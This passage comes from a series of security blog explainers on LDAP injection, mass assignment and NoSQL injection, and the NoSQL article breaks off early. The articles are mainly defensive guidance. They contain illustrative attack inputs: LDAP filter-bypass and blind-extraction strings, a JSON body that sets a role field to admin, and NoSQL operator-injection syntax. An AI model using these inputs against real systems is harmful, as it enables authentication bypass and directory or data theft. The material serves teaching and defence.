The intent is clear: find the entry where the uid matches and the password matches. Now suppose the username field is concatenated in without escaping and an attacker submits `*)(uid=*))(|(uid=*` as the username and anything as the password. The filter the server receives becomes a different query entirely, one where the appended `(uid=*)` clause matches every entry in the directory. The password condition is neutralized by the injected structure, and the search returns a valid user. If the application treats "a matching entry was found" as "the login succeeded," the attacker is now authenticated.
A simpler variant targets applications that only check for the existence of a matching entry. Submitting a username of `*` turns `(uid=*)` into a filter that matches every account. Where the code logs the user in as the first returned entry, that is an instant bypass.
A recurring root cause is treating "the LDAP search returned at least one entry" as proof of a correct password. Once the filter can be manipulated to always return an entry, that assumption collapses. Authentication must depend on a successful bind with the supplied credentials, not on whether a search found something.
## Reading data through injection
Authentication bypass is the loud case. The quieter one is data disclosure. Any feature that searches the directory from user input (a people finder, an address book lookup, a group membership check) can be steered to return more than intended.
If a search builds `(cn=SEARCHTERM)` and an attacker supplies `*)(objectClass=*`, the resulting filter can match every object class, dumping entries the interface was never meant to surface. Adding conditions with `&` and `|`, or injecting wildcards into attribute matches, lets an attacker enumerate usernames, email addresses, group memberships, and any attribute the bind account is allowed to read.
### Blind LDAP injection
When the application shows no direct output, the directory still answers indirectly. Blind LDAP injection extracts data one character at a time by asking true-or-false questions through the filter. An attacker crafts a filter that only returns a result when a target attribute starts with a guessed character, for example testing `(&(uid=admin)(userPassword=a*))` and watching whether the page behaves as "found" or "not found." Walking the alphabet position by position reconstructs the value. It is slow, it is scriptable, and it works with no visible error messages at all. The technique mirrors blind SQL injection and the same automation tooling logic applies.
## Where LDAP injection hides
| Feature | Why it is exposed |
|---|---|
| Directory-backed login forms | Username and password flow into a search filter |
| User and contact search | Free-text input concatenated into `(cn=...)` style filters |
| Group and role lookups | Membership checks build filters from a supplied identity |
| Self-service password reset | Email or username used to locate an account entry |
| Admin consoles over LDAP | Bulk queries assembled from operator-supplied fields |
Any of these is worth a close review wherever the directory query is built by string concatenation.
## Why blocklisting input fails
The instinct is to strip "dangerous" characters like parentheses and asterisks. This breaks on two fronts. Legitimate input often contains those characters, so a blocklist creates false rejections and support tickets. And a blocklist that misses one metacharacter, or mishandles the backslash escape itself, leaves the door open. The backslash is especially treacherous because it is both a literal character users type and the escape character in the filter grammar. Naive filtering that removes parentheses but not backslashes can be defeated by feeding in an escape sequence the parser later expands.
## How to defend against LDAP injection
The controls that hold up treat filter input the way you already treat SQL input: as data that must be neutralized before it can touch the query grammar.
1. **Escape every filter metacharacter.** Encode the LDAP filter special characters (`*`, `(`, `)`, `\`, and NUL) using their backslash-hex form as defined in RFC 4515 before placing user input in a filter. Use your platform's dedicated encoder rather than a hand-rolled replacement. This is the primary control and it is the LDAP equivalent of parameterization.
2. **Escape distinguished-name input separately.** Values placed in a DN follow the different escaping rules of RFC 4514. Do not reuse filter escaping for DN construction; the special-character set is not the same.
3. **Authenticate with a bind, not a search result.** Verify credentials by attempting an LDAP bind with the supplied username and password and checking whether it succeeds, rather than inferring success from a search that returned an entry.
4. **Use least-privilege bind accounts.** The service account the application binds with should be able to read only the attributes it needs. When injection still occurs, a tightly scoped account limits what an attacker can enumerate.
5. **Validate input against an allowlist where the format is known.** A username that must be alphanumeric can be checked against that pattern and rejected otherwise. Deny by default; do not try to enumerate bad characters.
6. **Suppress detailed directory errors.** Verbose LDAP error text helps an attacker tune a blind extraction. Return a generic failure to the user and log the detail server-side.
If your team already parameterizes SQL by reflex, apply the identical reflex here. The grammar is different (prefix notation, parentheses, wildcards instead of quotes and semicolons) but the rule is the same: input never becomes syntax. Encode it, scope the account that runs it, and validate the shape you expect.
## A worked example: from filter to bypass
Walking through a single request makes the mechanism concrete. Assume the application builds its login filter by string concatenation, something like `(&(uid=` followed by the raw username, then `)(userPassword=` followed by the raw password, then two closing parentheses. When a normal user named `alice` logs in with the password `spring2026`, the server receives a filter that reads: find the entry whose uid is alice and whose userPassword is spring2026. The directory returns that one entry, the bind or the match succeeds, and Alice is in.
Now change one field. The attacker leaves the password blank or arbitrary and submits a username of `alice)(&))` or the more general `*)(uid=*))(|(uid=*`. Trace what happens to the string. The application still wraps the input in its fixed template, but the input now carries its own parentheses and its own boolean operators. The closing parenthesis the attacker supplied terminates the `uid` term early. The operators that follow open a fresh clause the developer never intended. By the time the parser reads the whole string, the password condition has been pushed outside the active logic or neutralized by an always-true wildcard clause, and the filter matches at least one entry regardless of the password.
The lesson from tracing it by hand is that the attacker is not guessing a password. The attacker is editing the query. Every character the application fails to escape is a character the attacker can promote from data into grammar. The parser has no way to know that the parenthesis came from a hostile form field rather than from the developer's template, because by the time it sees the string, both look identical.
The root of every injection class is the same: a parser receives a single flat string and cannot know which parts were meant as structure and which arrived as user data. Escaping restores that distinction by neutralizing the characters that carry meaning, so a parenthesis typed by a user stays a literal parenthesis and never becomes a grouping operator.
## Detection signals
LDAP injection leaves traces on both the offensive and the defensive side. Knowing what to look for turns a vague worry into a concrete test.
- **Behavioral response to metacharacters.** Submit a single `)` or a `*` in a field that reaches the directory and watch how the application responds. A server error, a stack trace mentioning the LDAP provider, or a sudden change in the number of results returned all suggest the input is reaching the filter unescaped.
- **Result-count swings.** A search box that returns one record for a specific name but returns the entire directory for an input of `*` is answering a wildcard it should have treated as a literal. That swing is the signature of an unescaped filter.
- **Login success without a valid password.** If supplying a crafted username together with a wrong password ever produces an authenticated session, the code is inferring success from a search result rather than from a bind.
- **Timing differences in blind cases.** When no output is visible, a filter that matches versus one that does not can still differ in response time or in a subtle status change. A methodical attacker automates that difference to read data one character at a time.
- **Directory server logs.** On the server side, LDAP access logs that record raw filters will show malformed or unusually broad filters, multiple wildcard terms, or repeated near-identical queries walking through an alphabet. Those patterns are the fingerprint of an automated blind extraction in progress.
Logging the constructed filter at the directory tier, then alerting on filters that contain unexpected wildcards or an anomalous number of boolean operators, gives defenders a signal that no amount of front-end validation can produce on its own.
## LDAP injection versus SQL injection
The two share a family resemblance, which helps developers who know one learn the other quickly. The differences are in the grammar and in the payoff.
| Aspect | SQL injection | LDAP injection |
|---|---|---|
| Target parser | Relational database query engine | Directory search filter parser |
| Structural characters | Quotes, semicolons, comment markers | Parentheses, asterisk, backslash, NUL, boolean operators |
| Notation | Infix (`WHERE a = b AND c = d`) | Prefix (`(&(a=b)(c=d))`) |
| Primary defense | Parameterized queries and prepared statements | RFC 4515 filter escaping and RFC 4514 DN escaping |
| Classic impact | Data theft, data modification, sometimes command execution | Authentication bypass and directory enumeration |
| CWE reference | CWE-89 | CWE-90 |
The most important practical difference is that most SQL stacks offer true parameterization, where the query structure is compiled separately from the data. Many LDAP libraries do not offer an equivalent compiled-filter primitive, so escaping the input before it enters the filter string carries more of the defensive weight. That places extra importance on using the platform's dedicated filter encoder every single time.
## Common mistakes and misconceptions
Several recurring errors keep LDAP injection alive in codebases that believe they are safe.
1. **Escaping for the filter but building the DN by concatenation.** A distinguished name and a search filter use different escaping rules. Code that carefully escapes filter input, then pastes user data into a DN with filter escaping or none at all, reopens the hole through the DN path defined by RFC 4514.
2. **Blocklisting characters instead of encoding them.** Stripping parentheses and asterisks rejects legitimate input and still misses the backslash, which is both a literal users type and the escape character of the grammar. Encode with the standard function rather than trying to enumerate bad characters.
3. **Trusting client-side validation.** A pattern check in the browser stops an honest user from typing a stray asterisk. It stops no attacker, who bypasses the page and speaks to the endpoint directly. Validation that matters runs on the server.
4. **Treating a returned entry as a passed password.** The single most damaging design mistake is inferring authentication from the existence of a search result. Authentication must come from a successful bind with the supplied credentials.
5. **Leaking verbose directory errors.** Detailed error text tells a blind attacker whether each probe matched, turning a slow guess into a fast one. Return a generic failure and keep the detail in server-side logs.
Teams often assume that because the directory is internal and the login page is behind a corporate boundary, filter injection does not matter. Directory-backed logins are frequently reachable from partner portals, VPN endpoints, and self-service reset flows that face outward. Treat every filter built from input as reachable and escape it regardless of where you believe it sits.
## How LDAP injection became a known class
Directory services predate most modern web frameworks, and the pattern of building a filter by pasting strings together dates from an era when the directory and the application often ran on the same trusted network. As directory-backed single sign-on spread and login forms moved onto the public web, the same concatenation habit followed the code outward, and the filter grammar became an attack surface.
The technique was formalized alongside the broader injection family as web security matured. OWASP catalogued it as a distinct attack, MITRE assigned it CWE-90, and testing guides gave it a repeatable methodology. The reason it persists is not that the defense is hard, because RFC 4515 escaping is a solved problem with library support on every major platform. It persists because LDAP is unfamiliar territory for many developers, the escaping rules differ from the SQL rules they already know, and directory-backed features often ship with less review than the flashier parts of an application.
## Escaping in practice
The abstract advice to escape filter metacharacters becomes concrete once you look at what escaping actually does. RFC 4515 defines an escape form where each special byte is replaced by a backslash followed by its two-digit hexadecimal value. An asterisk becomes `\2a`, an opening parenthesis becomes `\28`, a closing parenthesis becomes `\29`, and a backslash becomes `\5c`. The NUL byte becomes `\00`. After this transformation, an input of `*)(uid=*` no longer contains any character the parser reads as structure. The parser sees a literal string of escaped bytes and matches it, or fails to match it, as ordinary data. The attacker's parentheses and wildcards have been demoted back to text.
Two properties make this reliable when it is done correctly. The escaping is applied to each piece of user input individually, right before it is placed into the filter, so nothing downstream can reintroduce an unescaped character. And the backslash itself is escaped first, so an attacker cannot smuggle in a partial escape sequence that the parser later completes into a live metacharacter. Getting the order wrong, escaping parentheses but forgetting the backslash, is one of the subtle ways a hand-rolled encoder fails while appearing to work in casual testing.
The same logic extends to distinguished names, with a different character set. RFC 4514 governs DN escaping, where characters like the comma, plus sign, quotation mark, and leading or trailing spaces carry structural meaning. Code that constructs a DN from user input, for example to look up an entry by its full path, must use the DN escaping rules and not the filter rules. Mixing them is a frequent and quiet source of residual injection, because the filter path looks defended while the DN path stays open.
## Frequently asked questions
**Is LDAP injection still relevant if we use single sign-on?**
Yes. Many single sign-on and directory-backed login flows build search filters from the identifier a user supplies. Federation protocols on top do not remove the underlying filter if the identity provider still constructs one from input. Escape the filter regardless of the protocol wrapped around it.
**Does using HTTPS or a web application firewall stop LDAP injection?**
No. HTTPS protects data in transit and has no effect on how the server assembles a filter. A firewall may catch some obvious payloads, and it is a supplement rather than a fix. The reliable defense is correct escaping in the code that builds the filter.
**Can LDAP injection lead to more than a login bypass?**
It can. Beyond bypassing authentication, an attacker can enumerate usernames, group memberships, email addresses, and any attribute the bind account may read. Blind techniques can reconstruct attribute values character by character even when no output is displayed.
**Why can I not simply parameterize the filter like a SQL query?**
Most LDAP libraries do not offer a compiled-filter primitive equivalent to a prepared SQL statement. The practical substitute is to escape each piece of user input with the library's RFC 4515 encoder before it enters the filter string, and to escape DN components separately with the RFC 4514 rules.
**Is the salt-style trick of a random value any help here?**
No. That belongs to password storage, not to query construction. LDAP injection is a query-grammar problem, and the fix is neutralizing filter metacharacters, scoping the bind account, and verifying credentials with a bind.
**How do I test an application for LDAP injection safely?**
Against systems you are authorized to test, submit filter metacharacters such as a lone parenthesis or an asterisk into fields that reach the directory and observe result counts, errors, and login behavior. The OWASP Testing Guide provides a structured methodology for directory-backed inputs.
**What is the single highest-value fix if I can only do one thing?**
Route every piece of user input through the platform's dedicated LDAP filter-escaping function before it touches a filter string, and verify logins with a bind rather than a search result. Those two changes remove the most common and most damaging paths at once.
LDAP injection carries the same weight as any authentication flaw because it can end in a login bypass against a directory that guards the whole organization. Attackers catalog which login and search endpoints run on directories, and a filter built by concatenation is a reliable target. If you want to see how these directory and injection techniques show up in real exploitation data, our Exploit Intelligence dashboard tracks the vulnerabilities and access patterns attackers are actually using. Escape your filters, bind to verify credentials, and scope the account behind the query, and the endpoint stops being an easy win.
## Related guides
- [SQL Injection Explained](/sql-injection-explained)
- [Command Injection Explained](/command-injection-explained)
- [Active Directory Security Basics](/active-directory-security-basics)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
### Sources
- OWASP: LDAP Injection (OWASP): https://owasp.org/www-community/attacks/LDAP_Injection
- OWASP Testing Guide: Testing for LDAP Injection (OWASP): https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/06-Testing_for_LDAP_Injection
- MITRE CWE-90: Improper Neutralization of Special Elements used in an LDAP Query (MITRE): https://cwe.mitre.org/data/definitions/90.html
---
## Mass Assignment: Binding Untrusted Fields to Your Objects
> How mass assignment lets attackers set fields you never meant to expose, why auto-binding is the cause, and how allowlists and DTOs shut it down.
- URL: https://blog.pwnsy.com/mass-assignment-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: mass-assignment, web-security, api-security, owasp, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- Mass assignment happens when a framework auto-binds every field in a request body to an object's properties, including fields the developer never meant the user to control.
- By adding an unexpected field to a request, an attacker sets internal attributes like a role, an account balance, or an ownership flag.
- The root cause is convenience: helpers that map the whole request onto a model save typing and quietly expose privileged fields.
- The fix is to bind only an explicit allowlist of permitted fields, usually through a dedicated input object, and never map raw request bodies straight onto persistent models.
### Key Takeaways
- Mass assignment is an over-permissive binding bug, closely related to broken access control, and it is a named API security risk.
- The dangerous fields are the ones the user should never set: role, permissions, verification status, prices, foreign keys, and internal flags.
- Blocklisting fields to ignore is fragile because a new sensitive field added later is bound by default until someone remembers to block it.
- An allowlist or a data transfer object inverts the default: only named, user-editable fields are accepted, and everything else is dropped.
- Server-side authorization still matters, because some fields are safe for one role and dangerous for another.
Modern web frameworks are built to save you keystrokes. One of the most beloved conveniences is the ability to take an incoming request and bind all of its fields onto an object in a single line. Create a user from the request body, update a profile from the submitted form, done. It feels clean. It is also, done naively, a direct route to privilege escalation.
Mass assignment is the vulnerability hiding in that convenience. When a framework maps every field of a request onto an object's properties without restriction, the user gets to set properties the developer never intended to expose. The request carries a field the form never showed, and the object absorbs it.
## The core idea
Say a signup endpoint creates a user from the submitted JSON. The developer expects a name, an email, and a password. The framework binds the whole body onto the user model, so the created record's `name`, `email`, and `password` come straight from the request. So far so good.
Now the attacker looks at the user model and guesses it has more fields than the form shows, for instance a `role` field that defaults to a normal user. They add it to the request:
```
{ "name": "Attacker", "email": "a@example.com", "password": "…", "role": "admin" }
```
If the endpoint binds the entire body, the new account is created with `role` set to admin. The form never offered that field. The attacker supplied it anyway, and the auto-binding accepted it without question. The same pattern sets an account's verified flag, changes a balance, reassigns ownership through a foreign key, or flips any internal attribute the model happens to have. On MITRE ATT&CK, exploiting an internet-facing app this way maps to [Exploit Public-Facing Application (T1190)](https://attack.mitre.org/techniques/T1190/).
## Why it is so easy to introduce
Mass assignment is rarely written on purpose. It arrives through the framework's default happy path. The one-line binder is in every tutorial. It works perfectly in a demo, where the model has only the fields the form shows. The gap opens later, when someone adds a privileged field to the model, a role, a flag, an internal reference, and the binder starts accepting it silently because binders accept everything by default.
That is the heart of the danger. The vulnerability is introduced by adding a field to a model, somewhere else, weeks later. Nothing at the endpoint changed. The binder simply widened on its own.
This is why mass assignment survives code review so often. A reviewer reading the create-user endpoint sees a clean one-line binding and a controller that looks correct, because at the moment of review the model may hold only safe fields. The risk is latent. It activates the day a privileged field joins the model, and nobody re-reviews the old endpoint when that happens. The unsafe behavior was baked in at the binding site, waiting for a model change to arm it. Security controls that depend on nobody ever adding a sensitive field to a shared model are controls that will eventually fail, because models grow and sensitive fields are exactly the kind you tend to add.
Auto-binding maps whatever the request contains. Every new field you add to a model becomes bindable by default until someone explicitly excludes it. That inverts the safe posture. You want a system where new fields are closed until deliberately opened, not open until someone remembers to close them.
## The fields that hurt
Not every over-bound field is dangerous. The impact depends on which internal attribute the attacker can reach.
| Field type | Example | Impact if attacker sets it |
|---|---|---|
| Authorization | role, permissions, is_admin | Privilege escalation |
| Account state | is_verified, is_active, email_confirmed | Bypassing checks and gates |
| Financial | balance, price, discount, credit | Fraud and theft of value |
| Ownership | owner_id, tenant_id, user_id | Reassigning records across accounts |
| Workflow | status, approved, moderation_state | Skipping approval or review steps |
| Timestamps and audit | created_at, id | Tampering with integrity and history |
The through-line is that these are server-controlled properties. They exist so the application can manage its own state. Letting a request set them by accident hands that control to the user.
## Relationship to IDOR and access control
Mass assignment lives in the same neighborhood as [IDOR](/idor-explained). Both are failures to constrain what a user may touch. IDOR is about which object a request reaches; mass assignment is about which fields of an object a request may set. An app can get object-level authorization right and still lose to mass assignment if it lets the user write privileged fields on an object they legitimately own. Setting your own account's role to admin needs no cross-object access at all.
Because of that overlap, the two are worth auditing together. An endpoint is only safe when it controls both the object the user may act on and the fields the user may change on it.
## How to find it in a codebase
Mass assignment is one of the more findable bugs during review, because it has a recognizable code smell: a request object flowing directly into a model constructor, an update call, or a merge.
Look for the single-line binders. Any place that constructs or updates a persistent object from the whole request body, spreading it, merging it, or passing it wholesale, is a candidate. The question to ask at each site is simple: what is the full set of fields this object has, and can the user set any of them that they should not. If the model has a privileged field and the binding is unrestricted, you have found it.
The next step is to enumerate the model, not the form. Developers reason about the fields the form shows, but the binder acts on the fields the model has. List every property of the target model, including the ones no user interface exposes, and treat each as something the request could try to set. The gap between what the form shows and what the model holds is where the exploitable fields hide.
On APIs, watch for update endpoints that accept partial objects. Partial-update semantics, where any subset of fields in the body gets applied, are especially prone to this, because there is no fixed form defining the expected shape. An attacker simply adds the field they want to a legitimate partial update. Reviewing these endpoints against an explicit allowlist of editable fields turns a guessing game into a closed decision.
## How to actually defend against mass assignment
The reliable defenses share one shape: accept only the fields you have explicitly decided are user-editable, and drop the rest.
1. **Bind an allowlist, not the whole body.** For every write endpoint, name the exact fields a user may set and bind only those. Everything not on the list is ignored. This is the single most effective control and it fails closed when a new field appears.
2. **Use data transfer objects.** Define an input type that contains only the user-editable fields, deserialize the request into it, and map from it to your persistent model in code. The DTO becomes a hard boundary the request cannot reach past. Privileged fields simply do not exist on it.
3. **Separate input models from persistence models.** Do not let request payloads deserialize directly onto database entities. Keep the shape the user sends distinct from the shape you store, and translate between them deliberately.
4. **Set server-controlled fields on the server.** Assign role, ownership, timestamps, status, and balances in application code from trusted sources, never from the request. If the value comes from the client, treat it as unset.
5. **Layer authorization on top.** Some fields are editable by an admin and not by a normal user. Field-level checks let the same endpoint accept a field from one role and reject it from another. This is where mass-assignment defense meets [least privilege](/least-privilege-explained) and sound [secure coding practices](/secure-coding-practices).
6. **Prefer allowlists to blocklists.** Excluding known-sensitive fields works until someone adds a new sensitive field and forgets to exclude it. An allowlist has the opposite failure mode: forget to add a field and it is merely unavailable, not exposed.
The whole class collapses if you flip one default. Instead of binding everything and subtracting what is dangerous, bind nothing and add what is safe. A DTO or an explicit field allowlist does exactly that, so a privileged field added to your model next month is closed on arrival rather than open until noticed.
## The same bug across frameworks
Mass assignment has a different name in almost every ecosystem, which hides how common it is. The mechanism is identical: a helper that copies request fields onto an object without a fixed list of what is allowed.
In the Ruby on Rails world the concept is strong parameters, and the framework now asks you to permit the fields you accept, precisely because unrestricted attribute assignment caused real damage. In Python, model forms and object-relational mappers offer to populate an instance from a dictionary, and passing request data straight in reproduces the flaw. In the Java and Spring world the term is data binding, and binder configuration decides which fields a request may set. In the JavaScript world the shape is an object spread or an assign call that merges a request body into a record before saving, or an ODM update that takes an arbitrary object. In PHP frameworks the same idea appears as fillable and guarded attributes on a model.
The lesson across all of them is that the vulnerability is not a property of one language. It is a property of the pattern: bind the whole request, trust the client to send only expected fields. Wherever you find that pattern, the target model's privileged fields are reachable, and the fix is the same one described below regardless of the framework's name for it.
## A worked example of the discovery
Walking the attacker's path makes the defense concrete. Suppose a profile-update endpoint accepts a JSON body and applies it to the current user's record. The form on the site sends a display name and a short bio, so a casual look at the traffic shows only those two fields.
The tester's first question is what other fields the underlying record has. They do not guess from the form, they reason about the model. A user record usually carries more than a profile page shows: a role or permission field, a verified or active flag, an identifier, timestamps, perhaps a tenant or owner reference. Any of these is a candidate. The tester adds one to the update request, for instance a role field set to a privileged value, and resends the otherwise legitimate update against their own account.
If the response reflects the new role, or a follow-up read shows it applied, the endpoint binds the whole body and the finding is confirmed. What makes this severe is that it needs no access to anyone else's data. The attacker updates their own record, which they are fully authorized to do, and the over-permissive binding lets that update reach a field the server was supposed to own. Object-level authorization was never the gap. Property-level authorization was.
## Detection signals
Mass assignment is more often caught in code review than in traffic, and there are runtime signals worth watching too.
**In review, follow the request into the model.** Any site where a request body is spread, merged, or passed wholesale into a constructor, an update, or a save is a candidate. The reliable test is to list the target model's full set of fields and ask whether the caller could set any privileged one. The gap between the fields the form shows and the fields the model holds is where the exploitable ones live.
**In logs, watch for unexpected fields in write requests.** A request body that carries a field the client UI never sends, especially a role, a flag, a price, or an identifier, on an endpoint that binds broadly, is the footprint of a probe. Logging the keys present in write payloads and alerting on privileged names surfaces attempts.
**Watch privileged fields changing outside their intended path.** A role, a verified flag, or a balance that changes through a general profile or settings endpoint, rather than the dedicated administrative flow that is supposed to own it, is a strong signal the field was set by binding. Auditing writes to sensitive columns with the endpoint that made them turns this into a monitorable event.
## Defense approaches compared
The reliable defenses all share the shape of naming what is allowed. They differ in where the boundary sits and how well it holds as the model grows.
| Approach | How it works | Fails when a new field appears | Strength |
|---|---|---|---|
| Blocklist (guard fields) | Bind everything except named sensitive fields | New sensitive field is bound until someone excludes it | Weak, fails open |
| Allowlist (permit fields) | Bind only named user-editable fields | New field is simply unavailable, never exposed | Strong, fails closed |
| Data transfer object | Deserialize into a type that has only editable fields | Privileged field does not exist on the type to bind | Strong, hard boundary |
| Separate input and persistence models | Translate request shape to storage shape in code | New storage field is not on the input shape | Strong, clearest separation |
The table's key column is the middle one. A blocklist fails open: forget to exclude a new sensitive field and it is exposed. Every other approach fails closed: forget to add a field and it is merely unavailable until someone deliberately opens it. That difference in failure mode is the whole argument for allowlists and dedicated input types over blocklists.
## Why it persists despite framework guards
Several popular frameworks added protections after mass assignment caused visible harm, and the bug keeps appearing anyway. Understanding why explains where to focus.
The first reason is that the guards are opt-in or easy to widen. A framework can ask you to permit fields, and it also offers a shortcut that binds everything, and under deadline pressure the shortcut is the path taken. A permit list that names every field, or a call that waves the whole body through, restores the original problem inside a framework that was trying to prevent it.
The second reason is that the risk is latent. The endpoint is written when the model is small and safe, so review sees nothing wrong. The danger arrives later, through a change somewhere else, when a privileged field joins the model and the existing binding silently starts accepting it. Nobody re-reviews the old endpoint because nothing at the endpoint changed. A control that depends on no one ever adding a sensitive field to a shared model is a control that will eventually fail, because models grow and sensitive fields are exactly the kind teams add.
The third reason is nested and related objects. Even a careful allowlist on the top-level fields can miss a nested object or an associated record that the binder also populates. If a request can reach into a related model through the same bind, the privileged field may live one level down, out of sight of a permit list written only for the parent. Auditing the full graph the binder can touch, including nested models beyond the immediate one, is what closes this.
Mass assignment is rarely introduced at the endpoint. It is armed elsewhere, later, when someone adds a role or a flag to a model an old binding still accepts wholesale. Because the binding site did not change, no review is triggered. The durable fix is to make the binding name its fields, so a new privileged field is closed on arrival instead of open until noticed.
## Frequently asked questions
**Is mass assignment the same as broken access control?**
It is a specific form of it. Broken access control is the broad category of a user reaching data or actions they should not. Mass assignment is the property-level case: the user writes fields of an object they should not be able to set. OWASP places it under the object property level authorization theme for exactly that reason.
**How is it different from IDOR?**
IDOR is about which object a request reaches: swapping an identifier to touch someone else's record. Mass assignment is about which fields of an object a request may set: adding a role field to an update of your own record. An app can get object-level authorization right and still lose to mass assignment, because setting your own account's role to admin needs no cross-object access at all. See [IDOR Explained](/idor-explained).
**Why not simply blocklist the dangerous fields?**
Because a blocklist fails open. It protects only the fields someone thought to list, and the day a colleague adds a new sensitive field to the model, the binder accepts it until someone remembers to exclude it. An allowlist has the opposite failure mode: a forgotten field is unavailable, not exposed. The safe default is closed.
**Do random or hidden field names help?**
No more than obscurity ever does. An attacker reads the model from source, from an error message, from a mobile app, or by trying common names like role, is_admin, and owner_id. If the binding accepts the field, the name being non-obvious only slows the discovery.
**Does an API with partial updates make this worse?**
Yes. Partial-update endpoints, where any subset of fields in the body is applied, have no fixed form defining the expected shape, so there is nothing to compare the request against. An attacker adds the field they want to an otherwise valid partial update. These endpoints are worth reviewing against an explicit allowlist first.
**Where should server-controlled fields be set?**
In application code, from trusted sources, never from the request. Role, ownership, timestamps, status, and balances should be assigned on the server. If a value like that arrives in the request body, the safe move is to ignore it and set the field yourself.
**Can authorization checks replace an allowlist?**
They complement it. Some fields are editable by an admin and not by an ordinary user, so field-level authorization lets the same endpoint accept a field from one role and reject it from another. That still sits on top of an allowlist that defines which fields exist as inputs at all. Use both: the allowlist bounds the surface, the authorization check decides who may set what within it.
Mass assignment is a convenience that quietly widens over time. The endpoint you wrote safely today becomes exploitable the day a colleague adds a role field to the model, with no change to your code and no warning. Defend it by refusing the convenience where it counts: accept a named list of user-editable fields, route requests through a dedicated input object, and set every privileged attribute server-side. Do that and the request can carry any extra field it likes, because your code was never going to read it. To track how integrity-affecting flaws move from disclosure to exploitation, cross-reference our Exploit Intelligence dashboard.
## Related guides
- [IDOR Explained](/idor-explained)
- [API Abuse Explained](/api-abuse-explained)
- [Secure Coding Practices](/secure-coding-practices)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
### Sources
- OWASP: Mass Assignment Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html
- OWASP Top 10: A08 Software and Data Integrity Failures (OWASP): https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/
- MITRE ATT&CK: Exploit Public-Facing Application (T1190) (MITRE): https://attack.mitre.org/techniques/T1190/
---
## NoSQL Injection: Operator Injection in Document Databases
> How NoSQL injection works in document and query databases, operator injection, authentication bypass, blind extraction, and how parameterization stops it.
- URL: https://blog.pwnsy.com/nosql-injection-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: nosql-injection, web-security, injection, appsec, owasp
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- NoSQL injection happens when user input is spliced into a document-database query, letting an attacker change the query's logic instead of just its data.
- The signature move is operator injection: smuggling query operators like a match-anything comparison into a field the developer expected to hold a plain value.
- It leads to authentication bypass, data extraction, and in query languages that evaluate code, server-side code execution.
- The fix is the same discipline that stops SQL injection: keep user input as data through parameterization and strict type and shape validation, never as query structure.
### Key Takeaways
- NoSQL databases removed SQL syntax, not the injection class. Untrusted input mixed into query structure is dangerous in any query language.
- Operator injection abuses the fact that many drivers accept rich objects where the developer assumed a string, turning a login field into a query operator.
- Authentication bypass is the classic impact: a comparison operator that matches any stored value walks past a password check.
- Blind and time-based techniques extract data one condition at a time even when the app returns no query output.
- Parameterized queries, strict input typing, and disabling server-side code evaluation remove the structural injection path.
The move away from SQL was supposed to leave injection bugs behind. It did not. Document and key-value databases dropped the SQL grammar, but they kept the thing that makes injection possible: queries assembled at runtime from data the user controls. Change the grammar and the vulnerability moves with it.
NoSQL injection is that vulnerability in document stores and their query languages. The syntax looks different and the payloads look different, yet the root cause is identical to its older cousin. Untrusted input is allowed to alter the shape of a query rather than sit inside it as a value.
## The core idea
A document database query is usually built from structured objects, not a string of SQL. A login lookup might ask the database to find a user whose username and password both equal the submitted values. In code that often looks like a query object built directly from request fields.
The trouble starts because many drivers and APIs accept a rich object anywhere they accept a value. The developer expects the password field to arrive as a string. The attacker sends an object instead, and that object carries a query operator. The database is happy to evaluate it. The field that was meant to hold `hunter2` now holds an instruction.
Consider a query built like this, where `username` and `password` come straight from the request body:
```
db.users.find({ username: input.username, password: input.password })
```
If the request body is sent as JSON or form-encoded in a way that lets a field become an object, the attacker submits a password value that is really a match-anything comparison. The query stops meaning "password equals the submitted string" and starts meaning "password is greater than nothing", which every stored password satisfies. The check passes without knowing any password.
## Operator injection
The defining technique of NoSQL injection is operator injection. Document query languages express logic through operators: equality, comparison, negation, regular-expression match, existence. These operators normally live in the query the developer wrote. Operator injection gets one of them into a place the developer meant to be a plain value.
The mechanics depend on how the request is parsed:
- **Form and query-string parsing.** Some frameworks turn `field[$gt]=` into a nested object automatically. A field the developer read as a string becomes an object carrying a comparison operator.
- **JSON bodies.** An API that accepts JSON will happily deserialize a field into an object. Sending an object where a string was expected is trivial.
- **Regular-expression operators.** A match operator with an attacker-supplied pattern turns an exact lookup into a pattern search, which enables both bypass and extraction.
The common thread is a type confusion. The code assumed a scalar and received a structure. On MITRE ATT&CK, exploiting an internet-facing app this way maps to [Exploit Public-Facing Application (T1190)](https://attack.mitre.org/techniques/T1190/).
The dangerous moment is the boundary where a request field becomes a query field. If a value that should be a string can arrive as an object, an attacker can substitute an operator for the value. Pin every query input to its expected primitive type at that boundary, before it ever reaches the database driver.
## What an attacker gets from it
The impact ladder mirrors SQL injection, adjusted for the data model.
| Impact | How it arises | Rough severity |
|---|---|---|
| Authentication bypass | A comparison or negation operator matches any stored credential | High |
| Unauthorized data read | Injected operators broaden a filter to return records the user should not see | High |
| Blind data extraction | Boolean or time-based conditions leak data one bit at a time | High |
| Denial of service | An expensive regular expression or a slow evaluated expression ties up the database | Medium |
| Server-side code execution | Query features that evaluate code accept an attacker expression | Critical |
The last row deserves a flag. Some document databases historically offered ways to run arbitrary expressions inside a query, for example a where-style clause that evaluates code against each document. If user input reaches such a clause, the injection stops being about data and becomes code execution on the database engine. Those features should be disabled unless there is a compelling reason to keep them.
## Blind extraction
Not every injectable query returns its output to the attacker. A login form tells you only success or failure. That single bit is enough.
